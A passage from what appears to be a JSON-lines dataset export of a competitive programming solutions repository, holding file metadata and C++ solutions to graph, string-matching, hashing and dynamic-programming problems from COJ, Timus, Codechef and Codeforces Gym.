>> w;\n\n vector <int> l(h);\n for (int i = 0; i < h; i++) {\n cin >> l[i];\n }\n vector <int> r(h);\n for (int i = 0; i < h; i++) {\n cin >> r[i];\n }\n int mn = w;\n for (int i = 0; i < h; i++) {\n mn = min(mn, w - l[i] - r[i]);\n }\n cout << mn / 2 << \".\" << 5 * (mn & 1) << \"\\n\";\n}\n" }, { "alpha_fraction": 0.3678756356239319, "alphanum_fraction": 0.38860103487968445, "avg_line_length": 19.109375, "blob_id": "01d3b6d0f1623d1beb62e91d529c26842f71bc6f", "content_id": "0be1c0774d5f3e7fb490923f26c583104ee0bb6e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1351, "license_type": "no_license", "max_line_length": 60, "num_lines": 64, "path": "/COJ/eliogovea-cojAC/eliogovea-p3389-Accepted-s921494.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n#define MAXN 110000\r\nusing namespace std;\r\ntypedef unsigned long long ll;\r\nstruct suff{\r\n string s;\r\n bool w;\r\n\r\n};\r\nbool cmp( const suff&a, const suff &b ){\r\n if (a.s != b.s)\r\n return a.s < b.s;\r\n return a.w < b.w;\r\n}\r\n\r\nint n;\r\nstring a,b;\r\nchar mk[300];\r\nvector< suff > v;\r\n\r\nstring make_suff( string a, int x ){\r\n fill( mk+64, mk+200, '0' );\r\n string res = a;\r\n int c = 'a';\r\n for( int i = x; i < x+n; i++ ){\r\n if( mk[ a[i] ] == '0' ){\r\n mk[ a[i] ] = c++;\r\n }\r\n res[i-x] = mk[ a[i] ];\r\n }\r\n return res;\r\n}\r\n\r\nint main(){\r\n ios::sync_with_stdio(0);\r\n cin.tie(0);\r\n //freopen( \"dat.txt\", \"r\", stdin );\r\n cin >> n;\r\n cin >> a >> b;\r\n a += a;\r\n b += b;\r\n for( int i = 0; i < n; i++ ){\r\n v.push_back( (suff){make_suff( a,i ), 0} );\r\n v.push_back( (suff){make_suff( b,i ), 1} );\r\n }\r\n int sol = 0;\r\n// cout <<\"ok\"<< endl;\r\n\r\n sort( v.begin(), v.end() , cmp);\r\n //for( int i = 0; i < v.size(); i++ )\r\n // cout << v[i].s << endl;\r\n\r\n for( int i = 0; i < v.size()-1; i++ ){\r\n if( v[i].w != v[i+1].w ){\r\n int c = 0;\r\n for( ; c < n && v[i].s[c] == v[i+1].s[c]; c++ );\r\n sol =max( sol, c );\r\n }\r\n }\r\n cout << sol << endl;\r\n\r\n\r\n\r\n}\r\n" }, { "alpha_fraction": 0.5011961460113525, "alphanum_fraction": 0.5275119543075562, "avg_line_length": 16.173913955688477, "blob_id": "83290344daa3c026f897ece122e64b2ad008a31e", "content_id": "960202bcebbf8e33734d6ae898814223e9834406", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 836, "license_type": "no_license", "max_line_length": 49, "num_lines": 46, "path": "/COJ/eliogovea-cojAC/eliogovea-p2513-Accepted-s550194.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<set>\r\n#include<algorithm>\r\n#define MAXN 1000\r\nusing namespace std;\r\n\r\ntypedef pair<int,int> punto;\r\ntypedef pair<int,pair<int,int> > recta;\r\n\r\nrecta R(punto P1, punto P2)\r\n{\r\n\trecta r;\r\n\tint a = P2.second - P1.second;\r\n\tint b =P1.first - P2.first;\r\n\tint c = P1.first*P2.second - P2.first*P1.second;\r\n\r\n\tif(a<0 || a==0 && b<0){a=-a; b=-b; c=-c;}\r\n\tint d=1;\r\n\tif(a)d=__gcd( abs(a), __gcd( abs(b), abs(c) ) );\r\n\telse if(b||c)d=__gcd( abs(b), abs(c) );\r\n\r\n\ta/=d;\r\n\tb/=d;\r\n\tc/=d;\r\n\r\n\treturn make_pair(a,make_pair(b,c));\r\n}\r\n\r\nint n;\r\npunto pts[MAXN+10];\r\nset<recta> s;\r\n\r\nint main()\r\n{\r\n\twhile(scanf(\"%d\",&n) && n)\r\n\t{\r\n\t\ts.clear();\r\n\t\tfor(int i=1; i<=n; i++)\r\n\t\t{\r\n\t\t\tscanf(\"%d%d\",&pts[i].first,&pts[i].second);\r\n\t\t\tfor(int j=1; j<i; j++)\r\n\t\t\t\ts.insert(R(pts[i],pts[j]));\r\n\t\t}\r\n\t\tprintf(\"%d\\n\",s.size());\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.42407742142677307, "alphanum_fraction": 0.4458560049533844, "avg_line_length": 19.75, "blob_id": "2d96cf16af537ee9e2b7c382b8e3416a6c922645", "content_id": "dc8570e0316de79e93f6a91511db50b98f64bf2e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1653, "license_type": "no_license", "max_line_length": 81, "num_lines": 76, "path": "/COJ/eliogovea-cojAC/eliogovea-p1161-Accepted-s547025.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<vector>\r\n#include<queue>\r\n#define MAXN 5010\r\nusing namespace std;\r\n\r\nint V,E,C,N,S;\r\nvector<pair<int,int> > G[MAXN];\r\nvector<pair<int,int> >::iterator it;\r\nbool mark[MAXN];\r\npriority_queue<pair<int,int>, vector<pair<int,int> >,greater<pair<int,int> > > Q;\r\nint dist[MAXN][3];\r\n\r\nvoid Dist(int source, int p)\r\n{\r\n dist[source][p]=0;\r\n Q.push(make_pair(0,source));\r\n for(int i=1; i<=V; i++)\r\n mark[i]=0;\r\n\r\n while(!Q.empty())\r\n {\r\n int nodo=Q.top().second;\r\n int costo=Q.top().first;\r\n Q.pop();\r\n\r\n if(mark[nodo])continue;\r\n\r\n mark[nodo]=1;\r\n for(it=G[nodo].begin(); it!=G[nodo].end(); it++)\r\n if(dist[it->first][p] > costo + it->second)\r\n {\r\n dist[it->first][p] = costo + it->second;\r\n Q.push(make_pair(dist[it->first][p],it->first));\r\n }\r\n }\r\n}\r\n\r\nint main()\r\n{\r\n\twhile(scanf(\"%d%d%d%d%d\",&V,&S,&C,&N,&E))\r\n\t{\r\n\t\tif(V==-1)break;\r\n\r\n\t\tfor(int i=1; i<=V; i++)\r\n\t\t{\r\n\t\t dist[i][0]=dist[i][1]=dist[i][2]=1<<29;\r\n G[i].clear();\r\n\t\t}\r\n\r\n\t\tfor(int i=1,x,y,c; i<=E; i++)\r\n\t\t{\r\n\t\t\tscanf(\"%d%d%d\",&x,&y,&c);\r\n\t\t\tG[x].push_back(make_pair(y,c));\r\n\t\t\tG[y].push_back(make_pair(x,c));\r\n\t\t}\r\n\r\n\t\tDist(S,0);\r\n\t\tDist(C,1);\r\n\t\tDist(N,2);\r\n\r\n\t\tint mx=0,ch,n,s;\r\n\r\n\t\tfor(int i=1; i<=V; i++)\r\n if(dist[i][0]+dist[i][1]==dist[C][0] &&\r\n dist[i][0]+dist[i][2]==dist[N][0] && mx<=dist[i][0])\r\n {\r\n s=mx=dist[i][0];\r\n n=dist[N][0]-dist[i][0];\r\n ch=dist[C][0]-dist[i][0];\r\n }\r\n\r\n\t\tprintf(\"%d %d %d\\n\",s,ch,n);\r\n\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.43328699469566345, "alphanum_fraction": 0.45656704902648926, "avg_line_length": 16.350318908691406, "blob_id": "a08ec69338f8c3bb82fd91f2e6805f6e3f8d7ddf", "content_id": "b9d60bfa2820899a961ded3ec919de6601d00e57", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2878, "license_type": "no_license", "max_line_length": 73, "num_lines": 157, "path": "/Timus/1158-6353908.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: pace=1&num=1158\n// Verdict: Accepted\n\n// Timus 1158. Censored!\r\n\r\n#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 55;\r\nconst int ALPH = 51;\r\n\r\nint n, m, p;\r\nstring s[N];\r\n\r\nstruct node {\r\n\tbool fin;\r\n\tint fail;\r\n\tint next[ALPH];\r\n\tnode() {\r\n\t\tfin = false;\r\n\t\tfail = -1;\r\n\t\tfor (int i = 0; i < ALPH; i++) {\r\n\t\t\tnext[i] = -1;\r\n\t\t}\r\n\t}\r\n} t[N * N];\r\n\r\nint sz = 1;\r\n\r\nvoid add(string &str) {\r\n\tint cur = 0;\r\n\tfor (int i = 0; str[i]; i++) {\r\n\t\tchar ch = lower_bound(s[p].begin(), s[p].end(), str[i]) - s[p].begin();\r\n\t\tif (t[cur].next[ch] == -1) {\r\n\t\t\tt[cur].next[ch] = sz++;\r\n\t\t}\r\n\t\tcur = t[cur].next[ch];\r\n\t}\r\n\tt[cur].fin = true;\r\n}\r\n\r\nqueue<int> Q;\r\n\r\n// Aho Corasick\r\nvoid build() {\r\n\tfor (int i = 0; i < ALPH; i++) {\r\n\t\tif (t[0].next[i] == -1) {\r\n\t\t\tt[0].next[i] = 0;\r\n\t\t} else {\r\n\t\t\tt[t[0].next[i]].fail = 0;\r\n\t\t\tQ.push(t[0].next[i]);\r\n\t\t}\r\n\t}\r\n\twhile (!Q.empty()) {\r\n\t\tint cur = Q.front();\r\n\t\tQ.pop();\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tif (t[cur].next[i] != -1) {\r\n\t\t\t\tint fail = t[cur].fail;\r\n\t\t\t\tint next = t[cur].next[i];\r\n\t\t\t\twhile (t[fail].next[i] == -1) {\r\n\t\t\t\t\tfail = t[fail].fail;\r\n\t\t\t\t}\r\n\t\t\t\tfail = t[fail].next[i];\r\n\t\t\t\tt[next].fail = fail;\r\n\t\t\t\tt[next].fin |= t[fail].fin;\r\n\t\t\t\tQ.push(next);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}\r\n\r\nint find_next(int cur, char ch) {\r\n\twhile (t[cur].next[ch] == -1) {\r\n\t\tcur = t[cur].fail;\r\n\t}\r\n\tcur = t[cur].next[ch];\r\n\treturn cur;\r\n}\r\n\r\ntypedef vector<int> BigInteger;\r\n\r\nconst BigInteger ZERO = vector<int>(1, 0);\r\nconst BigInteger ONE = vector<int>(1, 1);\r\n\r\nBigInteger operator + (const BigInteger &a, const BigInteger &b) {\r\n\tBigInteger res = ZERO;\r\n\tint sz = max(a.size(), b.size());\r\n\tres.resize(sz);\r\n\tint carry = 0;\r\n\tfor (int i = 0; i < sz; i++) {\r\n\t\tif (i < a.size()) {\r\n\t\t\tcarry += a[i];\r\n\t\t}\r\n\t\tif (i < b.size()) {\r\n\t\t\tcarry += b[i];\r\n\t\t}\r\n\t\tres[i] = carry % 10;\r\n\t\tcarry /= 10;\r\n\t}\r\n\twhile (carry) {\r\n\t\tres.push_back(carry % 10);\r\n\t\tcarry /= 10;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nvoid Print(BigInteger &x) {\r\n\tfor (int i = x.size() - 1; i >= 0; i--) {\r\n\t\tcout << x[i];\r\n\t}\r\n\tcout << \"\\n\";\r\n}\r\n\r\nBigInteger dp[N][N * N];\r\n\r\n\r\nint ans[100005];\r\nint len = 1;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tcin >> n >> m >> p;\r\n\tcin >> s[p]; // letras\r\n\tsort(s[p].begin(), s[p].end());\r\n\tfor (int i = 0; i < p; i++) {\r\n\t\tcin >> s[i];\r\n\t\tadd(s[i]);\r\n\t}\r\n\tbuild();\r\n\tfor (int i = 0; i <= m; i++) {\r\n\t\tfor (int j = 0; j < sz; j++) {\r\n\t\t\tdp[i][j] = ZERO;\r\n\t\t}\r\n\t}\r\n\tdp[0][0] = ONE;\r\n\tfor (int i = 0; i < m; i++) {\r\n\t\tfor (int j = 0; j < sz; j++) {\r\n\t\t\tif ((!t[j].fin) && (dp[i][j] != ZERO)) {\r\n\t\t\t\tfor (int k = 0; k < n; k++) {\r\n\t\t\t\t\tint next = find_next(j, k);\r\n\t\t\t\t\tif (!t[next].fin) {\r\n\t\t\t\t\t\tdp[i + 1][next] = dp[i + 1][next] + dp[i][j];\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tBigInteger ans = ZERO;\r\n\tfor (int i = 0; i < sz; i++) {\r\n\t\tans = ans + dp[m][i];\r\n\t}\r\n\tPrint(ans);\r\n}\r\n" }, { "alpha_fraction": 0.3154270052909851, "alphanum_fraction": 0.3388429880142212, "avg_line_length": 16.149999618530273, "blob_id": "f20ae7c4278921a1835a453fcd1df6ff2f00c1a7", "content_id": "982165caef3e8d90c1ede89d078a7d60dc0024c1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 726, "license_type": "no_license", "max_line_length": 46, "num_lines": 40, "path": "/COJ/eliogovea-cojAC/eliogovea-p3799-Accepted-s1102810.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 64;\r\n\r\nint n;\r\nint a[N];\r\nlong long dp[N][N][N];\r\n\r\nint main() {\r\n\tcin >> n;\r\n\tdp[0][0][0] = 1;\r\n\tfor (int i = 0; i < n; i++) {\r\n cin >> a[i];\r\n\t\tfor (int c = 0; c <= i; c++) {\r\n\t\t\tfor (int o = 0; o < N; o++) {\r\n\t\t\t\tdp[i + 1][c][o] += dp[i][c][o];\r\n\t\t\t\tdp[i + 1][c + 1][o | a[i]] += dp[i][c][o];\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\tint mx = 0;\r\n\tlong long ans = 0;\r\n\tfor (int c = 1; c <= n; c++) {\r\n\t\tfor (int o = 0; o < N; o++) {\r\n if (dp[n][c][o] == 0) {\r\n continue;\r\n }\r\n\t\t\tif (o / c > mx) {\r\n\t\t\t\tmx = o / c;\r\n\t\t\t\tans = dp[n][c][o];\r\n\t\t\t} else if (o / c == mx) {\r\n\t\t\t\tans += dp[n][c][o];\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.4572271406650543, "alphanum_fraction": 0.47492626309394836, "avg_line_length": 12.739130020141602, "blob_id": "6766bd9a31434d517950dc21bcd4bc08ef649507", "content_id": "bedee804f549e630ae2b89a14ca7a4b2636fac98", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 339, "license_type": "no_license", "max_line_length": 34, "num_lines": 23, "path": "/COJ/eliogovea-cojAC/eliogovea-p3705-Accepted-s1042042.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long LL;\r\n\r\nLL solve(int n) {\r\n\tLL ans = 0;\r\n\tfor (int i = 1; i < n - 2; i++) {\r\n\t\tans += (LL)(i * (n - 2 - i));\r\n\t}\r\n\tans *= n;\r\n\tans /= 4LL;\r\n\treturn ans;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tint n;\r\n\tcin >> n;\r\n\tcout << solve(n) << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.36994218826293945, "alphanum_fraction": 0.4161849617958069, "avg_line_length": 13.800000190734863, "blob_id": "b98889c5d5f67ac54976de74054df85b393e4cce", "content_id": "4586556d4ac921f4dbdfb6d672a120a176e57c63", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 519, "license_type": "no_license", "max_line_length": 34, "num_lines": 35, "path": "/Codechef/XENTASK.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int N = 2 * 10 * 1000 + 10;\n\nint t, n, x[N], y[N];\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\n\tcin >> t;\n\twhile (t--) {\n\t\tcin >> n;\n\t\tfor (int i = 0; i < n; i++) {\n\t\t\tcin >> x[i];\n\t\t}\n\t\tfor (int i = 0; i < n; i++) {\n\t\t\tcin >> y[i];\n\t\t}\n\t\tint ans1 = 0;\n\t\tint ans2 = 0;\n\t\tfor (int i = 0; i < n; i++) {\n\t\t\tif (i & 1) {\n\t\t\t\tans1 += x[i];\n\t\t\t\tans2 += y[i];\n\t\t\t} else {\n\t\t\t\tans1 += y[i];\n\t\t\t\tans2 += x[i];\n\t\t\t}\n\t\t}\n\t\tcout << min(ans1, ans2) << \"\\n\";\n\t}\n}\n\n" }, { "alpha_fraction": 0.33072546124458313, "alphanum_fraction": 0.35419631004333496, "avg_line_length": 15.160919189453125, "blob_id": "0c37bebccbfdb2a06fb0c338c6d9a98437a4780b", "content_id": "55e3b1887bc733f9fcf3e72416b18dc15fb79f47", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1406, "license_type": "no_license", "max_line_length": 57, "num_lines": 87, "path": "/Codeforces-Gym/100507 - 2014-2015 ACM-ICPC, NEERC, Eastern Subregional Contest/B.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 ACM-ICPC, NEERC, Eastern Subregional Contest\n// 100507B\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MAXN = 100100;\n\nvector<int> g[MAXN];\n\nbool mk[MAXN];\nint k[MAXN];\nint IN[MAXN];\nint OUT[MAXN];\n\nvoid dfs( int u, int in ){\n if( !mk[u] ){\n mk[u] = true;\n\n IN[u] = in;\n OUT[u] = k[u];\n }\n else{\n if( in == IN[u] || IN[u] == -1 ){\n return;\n }\n\n IN[u] = -1;\n }\n\n if( !k[u] ){\n OUT[u] = IN[u];\n }\n\n for( int i = 0; i < g[u].size(); i++ ){\n int v = g[u][i];\n dfs( v , OUT[u] );\n }\n}\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\n //freopen(\"dat.txt\", \"r\", stdin);\n\n int n; cin >> n;\n\n for( int i = 1; i <= n; i++ ){\n cin >> k[i];\n\n int m; cin >> m;\n for( int j = 1; j <= m; j++ ){\n int v; cin >> v;\n g[i].push_back(v);\n }\n }\n\n dfs(1,0);\n\n for( int i = 1; i <= n; i++ ){\n if( IN[i] == 0 ){\n cout << \"sober\";\n }\n else if( IN[i] == -1 ){\n cout << \"unknown\";\n }\n else{\n cout << IN[i];\n }\n\n cout << ' ';\n\n if( OUT[i] == 0 ){\n cout << \"sober\";\n }\n else if( OUT[i] == -1 ){\n cout << \"unknown\";\n }\n else{\n cout << OUT[i];\n }\n\n cout << '\\n';\n }\n}\n" }, { "alpha_fraction": 0.4020618498325348, "alphanum_fraction": 0.42038947343826294, "avg_line_length": 14.166666984558105, "blob_id": "a7f96f99b199371980c5e38bb6d2cb8718c95210", "content_id": "9ed4c50c1420b94a1b189f42cb00a03b35073c20", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 873, "license_type": "no_license", "max_line_length": 40, "num_lines": 54, "path": "/COJ/eliogovea-cojAC/eliogovea-p3552-Accepted-s1009623.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 10005;\r\n\r\nint n, m;\r\nvector <int> g[N];\r\nint match[N];\r\nint visited[N], mark;\r\n\r\nbool dfs(int u) {\r\n\tif (visited[u] == mark) {\r\n\t\treturn false;\r\n\t}\r\n\tvisited[u] = mark;\r\n\tfor (int i = 0; i < g[u].size(); i++) {\r\n\t\tint v = g[u][i];\r\n\t\tif (match[v] == -1 || dfs(match[v])) {\r\n\t\t\tmatch[v] = u;\r\n\t\t\treturn true;\r\n\t\t}\r\n\t}\r\n\treturn false;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\twhile (cin >> n >> m) {\r\n\t\tif (n == 0 && m == 0) {\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tg[i].clear();\r\n\t\t}\r\n\t\tfor (int i = 0; i < m; i++) {\r\n\t\t\tint x, y;\r\n\t\t\tcin >> x >> y;\r\n\t\t\tg[x].push_back(y);\r\n\t\t}\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tmatch[i] = -1;\r\n\t\t}\r\n\t\tint ans = 0;\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tmark++;\r\n\t\t\tif (dfs(i)) {\r\n\t\t\t\tans++;\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3570151925086975, "alphanum_fraction": 0.3771224319934845, "avg_line_length": 19.9158878326416, "blob_id": "fff394853a98451bcad96dc285075bbdf37420af", "content_id": "c977a315cbafa1f3db34bdaa529b128914099c21", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2238, "license_type": "no_license", "max_line_length": 83, "num_lines": 107, "path": "/Codeforces-Gym/100765 - 2005-2006 ACM-ICPC, NEERC, Southern Subregional Contest/F.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2005-2006 ACM-ICPC, NEERC, Southern Subregional Contest\n// 100765F\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef pair<int,int> par;\n\nconst int oo= (1<<29);\nconst int MAXN = 3000;\nint cost[MAXN];\nvector<par> g[MAXN];\nint a[MAXN];\nint s[MAXN];\npar aux[MAXN];\n\nint d[MAXN] , d2[MAXN];\nbool mk[MAXN] , mk2[MAXN];\n\nvoid dijkstra( int start , int *d, bool *mk , int n ){\n priority_queue< par > pq;\n pq.push( par( 0 , start ) );\n\n for(int i = 0; i <= n; i++){\n d[i] = oo;\n }\n d[start] = 0;\n\n while( !pq.empty() ){\n int u = pq.top().second; pq.pop();\n if( mk[u] ){\n continue;\n }\n mk[u] = true;\n\n for(int i = 0; i < g[u].size(); i++){\n int v = g[u][i].second;\n int w = g[u][i].first;\n\n if( d[v] > d[u] + w ){\n d[v] = d[u] + w;\n pq.push( par( -d[v] , v ) );\n }\n }\n }\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int n,x,y; cin >> n >> x >> y;\n int m; cin >> m;\n for(int i = 1; i <= m; i++){\n int u,v,l; cin >> u >> v >> l;\n g[u].push_back( par( l , v ) );\n g[v].push_back( par( l , u ) );\n }\n\n dijkstra( x , d , mk , n );\n dijkstra( y , d2 , mk2 , n );\n\n map<int,int> dic;\n\n int sz = 0;\n\n for(int i = 1; i <= n; i++){\n if( d[i] + d2[i] == d[ y ] ){\n aux[ sz++ ] = par( d[i] , i );\n dic[ d[i] ]++;\n }\n }\n\n sort( aux , aux + sz );\n\n for( int u = 1; u <= n; u++ ){\n for( int j = 0; j < g[u].size(); j++ ){\n int v = g[u][j].second;\n int w = g[u][j].first;\n\n if( d[u] + w + d2[v] == d[y] ){\n int lw = lower_bound( aux , aux + sz , par( d[u] + 1 , 0 ) ) - aux;\n int up = upper_bound( aux , aux + sz , par( d[v] , 0 ) ) - aux;\n\n\n s[ lw ]++;\n s[ up ]--;\n }\n }\n }\n\n int c = 0;\n for( int i = 0; i < sz; i++ ){\n c += s[i];\n a[ aux[i].second ] = c + dic[ d[ aux[i].second ] ];\n }\n\n for(int u = 1; u <= n; u++){\n if( u > 1 ){\n cout << ' ';\n }\n cout << a[u];\n }\n}\n" }, { "alpha_fraction": 0.3712121248245239, "alphanum_fraction": 0.4166666567325592, "avg_line_length": 19.1200008392334, "blob_id": "f0a2f1f09cf3870b9a6e6d90e2a5e3b3bce083c1", "content_id": "5e1a3e4d26efbd4af10764339360049f5db7752a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 528, "license_type": "no_license", "max_line_length": 50, "num_lines": 25, "path": "/COJ/eliogovea-cojAC/eliogovea-p2451-Accepted-s665128.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n\r\nusing namespace std;\r\n\r\nint tc, a[20], x, ans;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0); cout.tie(0);\r\n\tcin >> tc;\r\n\twhile (tc--) {\r\n\t\tfor (int i = 1; i <= 16; i++) {\r\n\t\t\tcin >> a[i];\r\n\t\t\tif (a[i] == 16) x = i;\r\n\t\t}\r\n\t\tfor (;x + 4 <= 16; x += 4) swap(a[x], a[x + 4]);\r\n\t\tfor (;x + 1 <= 16; x++) swap(a[x], a[x + 1]);\r\n\t\tans = 0;\r\n\t\tfor (int i = 2; i < 16; i++)\r\n\t\t\tfor (int j = 1; j < i; j++)\r\n\t\t\t\tif (a[i] < a[j]) ans ^= 1;\r\n\t\tif (ans) cout << \"no\\n\";\r\n\t\telse cout << \"yes\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3528384268283844, "alphanum_fraction": 0.39563319087028503, "avg_line_length": 18.406780242919922, "blob_id": "50b6a476455e3b00119e083c95b90b9874385f04", "content_id": "22b7feeede7adfd4b2090a98ad4f2ad2cf2a2180", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1145, "license_type": "no_license", "max_line_length": 90, "num_lines": 59, "path": "/Codeforces-Gym/100729 - 2011-2012 Northwestern European Regional Contest (NWERC 2011)/E.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2011-2012 Northwestern European Regional Contest (NWERC 2011)\n// 100729E\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MAXN = 100100;\n\nint p[300];\nint c[300];\n\ntypedef pair<int,int> par;\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int tc; cin >> tc;\n while( tc-- ){\n for( int i = 0; i < 300; i++ ){\n p[i] = -1;\n c[i] = 0;\n }\n\n vector<par> sol;\n\n int n; cin >> n;\n\n string s; cin >> s;\n\n for( int i = 0; i < n; i++ ){\n c[ s[i] ]++;\n p[ s[i] ] = i;\n }\n\n for( int i = 0; i < 300; i++ ){\n if( c[i] ){\n sol.push_back( par( p[i] , c[i] ) );\n }\n }\n\n sort( sol.begin(), sol.end() );\n\n int outp = 0;\n int cont = 0;\n for( int i = 0; i < sol.size(); i++ ){\n if( cont != (sol[i].first - sol[i].second + 1) ){\n outp += ( (sol[i].first - sol[i].second + 1) - cont ) * sol[i].second * 5;\n }\n\n cont += sol[i].second;\n }\n\n cout << outp << '\\n';\n }\n}\n" }, { "alpha_fraction": 0.4263157844543457, "alphanum_fraction": 0.511403501033783, "avg_line_length": 18, "blob_id": "8996f9f25f3da6730d10c6daa3eb97cf3e2b8009", "content_id": "a07c85890f42335edaf790a75e1db01731434618", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2280, "license_type": "no_license", "max_line_length": 105, "num_lines": 120, "path": "/Codeforces-Gym/100494 - 2014-2015 CT S02E03: Codeforces Trainings Season 2 Episode 3 (NCPC 2008 + USACO DEC07 + GCJ 2008 Qual)/K.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 CT S02E03: Codeforces Trainings Season 2 Episode 3 (NCPC 2008 + USACO DEC07 + GCJ 2008 Qual)\n// 100494K\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MOD1 = 1000000007;\nconst int MOD2 = 1000000009;\n\ninline void add(int &a, int b, int MOD) {\n\ta += b;\n\tif (a >= MOD) {\n\t\ta -= MOD;\n\t}\n}\n\ninline int mul(int a, int b, int MOD) {\n\treturn (long long)a * b % MOD;\n}\n\nconst int N = 30000;\n\nconst int BASE1 = 37;\nconst int BASE2 = 41;\n\nint POW1[N + 5];\nint POW2[N + 5];\n\nint HASH11[N + 5];\nint HASH12[N + 5];\nint HASH21[N + 5];\nint HASH22[N + 5];\n\nint n;\nchar a[N + 5];\nchar b[N + 5];\nint anssz;\nchar ans[N + 5];\n\ninline int val(char ch) {\n\treturn ch - 'A' + 1;\n}\n\ninline int get(int * HASH, int * POW, int s, int e, const int MOD) {\n\tint x = HASH[e];\n\tint y = mul(HASH[s], POW[e - s], MOD);\n\tadd(x, MOD - y, MOD);\n\treturn x;\n}\n\nint lcp(int x, int y) {\n\tint lo = 0;\n\tint hi = min(n - x, n - y);\n\tint res = 0;\n\twhile (lo <= hi) {\n\t\tint mid = (lo + hi) >> 1;\n\t\tint h11 = get(HASH11, POW1, x, x + mid, MOD1);\n\t\tint h12 = get(HASH12, POW2, x, x + mid, MOD2);\n\t\tint h21 = get(HASH21, POW1, y, y + mid, MOD1);\n\t\tint h22 = get(HASH22, POW2, y, y + mid, MOD2);\n\t\tif (h11 == h21 && h12 == h22) {\n\t\t\tres = mid;\n\t\t\tlo = mid + 1;\n\t\t} else {\n\t\t\thi = mid - 1;\n\t\t}\n\t}\n\treturn res;\n}\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\n\tcin >> n;\n\n\tfor (int i = 0; i < n; i++) {\n\t\tcin >> a[i];\n\t\tb[n - 1 - i] = a[i];\n\t}\n\n\tPOW1[0] = POW2[0] = 1;\n\n\tfor (int i = 1; i <= n; i++) {\n\t\tPOW1[i] = mul(POW1[i - 1], BASE1, MOD1);\n\t\tPOW2[i] = mul(POW2[i - 1], BASE2, MOD2);\n\t}\n\n\tfor (int i = 1; i <= n; i++) {\n\t\tHASH11[i] = 